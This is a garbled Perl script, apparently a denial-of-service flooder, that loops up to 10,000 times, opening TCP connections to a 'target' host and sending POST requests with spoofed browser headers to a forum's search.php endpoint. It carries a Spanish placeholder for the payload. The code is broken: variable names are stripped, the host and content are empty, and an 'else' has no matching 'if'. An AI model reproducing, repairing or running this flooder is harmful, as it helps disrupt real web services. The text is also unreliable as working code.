use IO::Socket; x= 0; host="target"; while( != 10000) { = "Aca el contenido a enviar!!!" my = new IO::Socket::INET ( PeerAddr => "", PeerPort => "80", Proto => "tcp", ); die "nConnection to host: $!n" unless ; print "POST "."search.php?mode=results HTTP/1.1n"; print "Host: n"; print "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n"; print "Referer: n"; print "Accept-Language: en-usn"; print "Content-Type: application/x-www-form-urlencodedn"; print "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n"; print "Content-Length: nn"; print "n"; close(); ++; } }else{ die " n"; }